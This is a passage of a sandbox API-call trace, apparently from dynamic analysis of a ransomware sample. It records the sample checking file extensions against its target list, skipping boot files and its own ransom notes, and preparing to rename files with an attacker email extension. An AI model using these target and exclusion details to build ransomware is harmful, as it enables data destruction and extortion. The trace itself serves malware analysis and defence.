(lpString1=".dc3", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".dcm") returned 4 [0147.810] lstrcmpiW (lpString1=".dcm", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".dcr") returned 4 [0147.810] lstrcmpiW (lpString1=".dcr", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".der") returned 4 [0147.810] lstrcmpiW (lpString1=".der", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".dib") returned 4 [0147.810] lstrcmpiW (lpString1=".dib", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".dic") returned 4 [0147.810] lstrcmpiW (lpString1=".dic", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".dif") returned 4 [0147.810] lstrcmpiW (lpString1=".dif", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".divx") returned 5 [0147.810] lstrcmpiW (lpString1=".divx", lpString2=".wiki") returned -1 [0147.810] lstrlenW (lpString=".djvu") returned 5 [0147.810] lstrcmpiW (lpString1=".djvu", lpString2=".wiki") returned -1 [0147.810] lstrlenW (lpString=".dng") returned 4 [0147.810] lstrcmpiW (lpString1=".dng", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".doc") returned 4 [0147.810] lstrcmpiW (lpString1=".doc", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".docm") returned 5 [0147.810] lstrcmpiW (lpString1=".docm", lpString2=".wiki") returned -1 [0147.810] lstrlenW (lpString=".docx") returned 5 [0147.811] lstrcmpiW (lpString1=".docx", lpString2=".wiki") returned -1 [0147.811] lstrlenW (lpString=".dot") returned 4 [0147.811] lstrcmpiW (lpString1=".dot", lpString2="wiki") returned -1 [0147.811] lstrlenW (lpString=".dotm") returned 5 [0147.811] lstrcmpiW (lpString1=".dotm", lpString2=".wiki") returned -1 [0147.811] lstrlenW (lpString=".dotx") returned 5 [0147.811] lstrcmpiW (lpString1=".dotx", lpString2=".wiki") returned -1 [0147.811] lstrlenW (lpString=".dpx") returned 4 [0147.811] lstrcmpiW (lpString1=".dpx", lpString2="wiki") returned -1 [0147.811] lstrlenW (lpString=".dqy") returned 4 [0147.811] lstrcmpiW (lpString1=".dqy", lpString2="wiki") returned -1 [0147.811] lstrlenW (lpString=".dsn") returned 4 [0147.811] lstrcmpiW (lpString1=".dsn", lpString2="wiki") returned -1 [0147.811] lstrlenW (lpString=".dt") returned 3 [0147.811] lstrcmpiW (lpString1=".dt", lpString2="iki") returned -1 [0147.811] lstrlenW (lpString=".dtd") returned 4 [0147.811] lstrcmpiW (lpString1=".dtd", lpString2="wiki") returned -1 [0147.811] lstrlenW (lpString=".dwg") returned 4 [0147.811] lstrcmpiW (lpString1=".dwg", lpString2="wiki") returned -1 [0147.811] lstrlenW (lpString=".dwt") returned 4 [0147.811] lstrcmpiW (lpString1=".dwt", lpString2="wiki") returned -1 [0147.811] lstrlenW (lpString=".dx") returned 3 [0147.811] lstrcmpiW (lpString1=".dx", lpString2="iki") returned -1 [0147.811] lstrlenW (lpString=".dxf") returned 4 [0147.811] lstrcmpiW (lpString1=".dxf", lpString2="wiki") returned -1 [0147.811] lstrlenW (lpString=".edml") returned 5 [0147.811] lstrcmpiW (lpString1=".edml", lpString2=".wiki") returned -1 [0147.811] lstrlenW (lpString=".efd") returned 4 [0147.811] lstrcmpiW (lpString1=".efd", lpString2="wiki") returned -1 [0147.811] lstrlenW (lpString=".elf") returned 4 [0147.811] lstrcmpiW (lpString1=".elf", lpString2="wiki") returned -1 [0147.812] lstrlenW (lpString=".emf") returned 4 [0147.812] lstrcmpiW (lpString1=".emf", lpString2="wiki") returned -1 [0147.812] lstrlenW (lpString=".emz") returned 4 [0147.812] lstrcmpiW (lpString1=".emz", lpString2="wiki") returned -1 [0147.812] lstrlenW (lpString=".epf") returned 4 [0147.812] lstrcmpiW (lpString1=".epf", lpString2="wiki") returned -1 [0147.812] lstrlenW (lpString=".eps") returned 4 [0147.812] lstrcmpiW (lpString1=".eps", lpString2="wiki") returned -1 [0147.812] lstrlenW (lpString=".epsf") returned 5 [0147.812] lstrcmpiW (lpString1=".epsf", lpString2=".wiki") returned -1 [0147.812] lstrlenW (lpString=".epsp") returned 5 [0147.812] lstrcmpiW (lpString1=".epsp", lpString2=".wiki") returned -1 [0147.812] lstrlenW (lpString=".erf") returned 4 [0147.812] lstrcmpiW (lpString1=".erf", lpString2="wiki") returned -1 [0147.812] lstrlenW (lpString=".exr") returned 4 [0147.812] lstrcmpiW (lpString1=".exr", lpString2="wiki") returned -1 [0147.812] lstrlenW (lpString=".f4v") returned 4 [0147.812] lstrcmpiW (lpString1=".f4v", lpString2="wiki") returned -1 [0147.812] lstrlenW (lpString=".fido") returned 5 [0147.812] lstrcmpiW (lpString1=".fido", lpString2=".wiki") returned -1 [0147.812] lstrlenW (lpString=".flm") returned 4 [0147.812] lstrcmpiW (lpString1=".flm", lpString2="wiki") returned -1 [0147.812] lstrlenW (lpString=".flv") returned 4 [0147.812] lstrcmpiW (lpString1=".flv", lpString2="wiki") returned -1 [0147.812] lstrlenW (lpString=".frm") returned 4 [0147.812] lstrcmpiW (lpString1=".frm", lpString2="wiki") returned -1 [0153.765] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0153.765] lstrcmpiW (lpString1=".3ds", lpString2=".JPG") returned -1 [0153.765] lstrcmpiW (lpString1=".3fr", lpString2=".JPG") returned -1 [0153.765] lstrcmpiW (lpString1=".3g2", lpString2=".JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".3gp", lpString2=".JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".accda", lpString2="52.JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".accdb", lpString2="52.JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".accdc", lpString2="52.JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".accde", lpString2="52.JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".accdt", lpString2="52.JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".accdw", lpString2="52.JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".adb", lpString2=".JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".adp", lpString2=".JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".ai", lpString2="JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".ai3", lpString2=".JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".ai4", lpString2=".JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".ai5", lpString2=".JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".ai6", lpString2=".JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".ai7", lpString2=".JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".ai8", lpString2=".JPG") returned -1 [0153.766] lstrcmpiW (lpString1=".anim", lpString2="2.JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".arw", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".as", lpString2="JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".asa", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".asc", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".ascx", lpString2="2.JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".asm", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".asmx", lpString2="2.JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".asp", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".aspx", lpString2="2.JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".asr", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".asx", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".avi", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".avs", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".backup", lpString2="952.JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".bak", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".bay", lpString2=".JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".bd", lpString2="JPG") returned -1 [0153.767] lstrcmpiW (lpString1=".bin", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".bmp", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".c", lpString2="PG") returned -1 [0153.768] lstrcmpiW (lpString1=".cdr", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".cer", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".cf", lpString2="JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".cfc", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".cfm", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".cfml", lpString2="2.JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".cfu", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".chm", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".cin", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".class", lpString2="52.JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".clx", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".config", lpString2="952.JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".cpp", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".cr2", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".crt", lpString2=".JPG") returned -1 [0153.768] lstrcmpiW (lpString1=".crw", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".cs", lpString2="JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".css", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".csv", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".cub", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".dae", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".dat", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".db", lpString2="JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".dbx", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".dc3", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".dcm", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".dcr", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".der", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".dib", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".dic", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".dif", lpString2=".JPG") returned -1 [0153.769] lstrcmpiW (lpString1=".divx", lpString2="2.JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".djvu", lpString2="2.JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".dng", lpString2=".JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".docm", lpString2="2.JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".dot", lpString2=".JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".dotm", lpString2="2.JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".dotx", lpString2="2.JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".dpx", lpString2=".JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".dqy", lpString2=".JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".dsn", lpString2=".JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".dt", lpString2="JPG") returned -1 [0153.770] lstrcmpiW (lpString1=".dtd", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".dwg", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".dwt", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".dx", lpString2="JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".dxf", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".edml", lpString2="2.JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".efd", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".elf", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".emf", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".emz", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".epf", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".eps", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".epsf", lpString2="2.JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".epsp", lpString2="2.JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".erf", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".exr", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".f4v", lpString2=".JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".fido", lpString2="2.JPG") returned -1 [0153.771] lstrcmpiW (lpString1=".flm", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".flv", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".frm", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".fxg", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".geo", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".gif", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".grs", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".gz", lpString2="JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".h", lpString2="PG") returned -1 [0153.772] lstrcmpiW (lpString1=".hdr", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".hpp", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".hta", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".htc", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".htm", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".html", lpString2="2.JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".icb", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".ics", lpString2=".JPG") returned -1 [0153.772] lstrcmpiW (lpString1=".iff", lpString2=".JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".inc", lpString2=".JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".indd", lpString2="2.JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".ini", lpString2=".JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".iqy", lpString2=".JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".j2c", lpString2=".JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".j2k", lpString2=".JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".java", lpString2="2.JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".jp2", lpString2=".JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".jpc", lpString2=".JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".jpe", lpString2=".JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".jpeg", lpString2="2.JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".jpf", lpString2=".JPG") returned -1 [0153.773] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0153.773] lstrcmpiW (lpString1=".wiki", lpString2="2.JPG") returned -1 [0153.773] lstrcmpiW (lpString1="boot.ini", lpString2="J0382952.JPG") returned -1 [0153.773] lstrcmpiW (lpString1="bootfont.bin", lpString2="J0382952.JPG") returned -1 [0153.773] lstrcmpiW (lpString1="ntldr", lpString2="J0382952.JPG") returned 1 [0153.773] lstrcmpiW (lpString1="ntdetect.com", lpString2="J0382952.JPG") returned 1 [0153.773] lstrcmpiW (lpString1="io.sys", lpString2="J0382952.JPG") returned -1 [0153.774] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="J0382952.JPG") returned -1 [0153.774] lstrcmpiW (lpString1="Info.hta", lpString2="J0382952.JPG") returned -1 [0153.774] lstrcmpiW (lpString1="n.exe", lpString2="J0382952.JPG") returned 1 [0153.774] FindNextFileW (in: hFindFile=0x6a8638, lpFindFileData=0x365f310 | out: lpFindFileData=0x365f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15a7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382954.JPG", cAlternateFileName="")) returned 1 [0153.774] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".3ds", lpString2=".JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".3fr", lpString2=".JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".3g2", lpString2=".JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".3gp", lpString2=".JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".accda", lpString2="54.JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".accdb", lpString2="54.JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".accdc", lpString2="54.JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".accde", lpString2="54.JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".accdt", lpString2="54.JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".accdw", lpString2="54.JPG") returned -1 [0153.774] lstrcmpiW (lpString1=".adb", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".adp", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".ai", lpString2="JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".ai3", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".ai4", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".ai5", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".ai6", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".ai7", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".ai8", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".anim", lpString2="4.JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".arw", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".as", lpString2="JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".asa", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".asc", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".ascx", lpString2="4.JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".asm", lpString2=".JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".asmx", lpString2="4.JPG") returned -1 [0153.775] lstrcmpiW (lpString1=".asp", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".aspx", lpString2="4.JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".asr", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".asx", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".avi", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".avs", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".backup", lpString2="954.JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".bak", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".bay", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".bd", lpString2="JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".bin", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".bmp", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".c", lpString2="PG") returned -1 [0153.776] lstrcmpiW (lpString1=".cdr", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".cer", lpString2=".JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".cf", lpString2="JPG") returned -1 [0153.776] lstrcmpiW (lpString1=".cfc", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".cfm", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".cfml", lpString2="4.JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".cfu", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".chm", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".cin", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".class", lpString2="54.JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".clx", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".config", lpString2="954.JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".cpp", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".cr2", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".crt", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".crw", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".cs", lpString2="JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".css", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".csv", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".cub", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".dae", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".dat", lpString2=".JPG") returned -1 [0153.777] lstrcmpiW (lpString1=".db", lpString2="JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".dbx", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".dc3", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".dcm", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".dcr", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".der", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".dib", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".dic", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".dif", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".divx", lpString2="4.JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".djvu", lpString2="4.JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".dng", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".docm", lpString2="4.JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0153.778] lstrcmpiW (lpString1=".dot", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dotm", lpString2="4.JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dotx", lpString2="4.JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dpx", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dqy", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dsn", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dt", lpString2="JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dtd", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dwg", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dwt", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dx", lpString2="JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".dxf", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".edml", lpString2="4.JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".efd", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".elf", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".emf", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".emz", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".epf", lpString2=".JPG") returned -1 [0153.779] lstrcmpiW (lpString1=".eps", lpString2=".JPG") returned -1 [0153.780] lstrcmpiW (lpString1=".epsf", lpString2="4.JPG") returned -1 [0153.780] lstrcmpiW (lpString1=".epsp", lpString2="4.JPG") returned -1 [0153.780] lstrcmpiW (lpString1=".erf", lpString2=".JPG") returned -1 Thread: id = 344 os_tid = 0x58c [0147.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3bc04c8 [0147.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3bd04d0 [0147.816] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816f0 [0147.816] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6ae208 [0147.816] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681708 [0147.816] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x4150020 [0147.816] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681720 [0147.816] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681720, Size=0x20) returned 0x69e6e8 [0147.816] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681720 [0147.816] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681720, Size=0x20) returned 0x69e710 [0147.816] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.816] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.816] Wow64DisableWow64FsRedirection (in: OldValue=0x379ff58 | out: OldValue=0x379ff58*=0x0) returned 1 [0147.816] lstrlenW (lpString="kernel32.dll") returned 12 [0147.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e6e8 | out: hHeap=0x630000) returned 1 [0147.816] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e710 | out: hHeap=0x630000) returned 1 [0147.817] Sleep (dwMilliseconds=0x64) [0148.003] lstrcmpiW (lpString1=".ttf", lpString2=".wiki") returned -1 [0148.003] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0148.003] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0148.107] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=47452) returned 1 [0148.107] CloseHandle (hObject=0x1cc) returned 1 [0148.108] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0148.108] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.108] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.108] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.108] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.108] lstrlenW (lpString=".doc") returned 4 [0148.108] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0148.108] lstrlenW (lpString=".docx") returned 5 [0148.108] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0148.108] lstrlenW (lpString=".pdf") returned 4 [0148.108] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0148.108] lstrlenW (lpString=".xls") returned 4 [0148.108] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0148.108] lstrlenW (lpString=".xlsx") returned 5 [0148.108] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0148.108] lstrlenW (lpString=".ppt") returned 4 [0148.108] lstrcmpiW 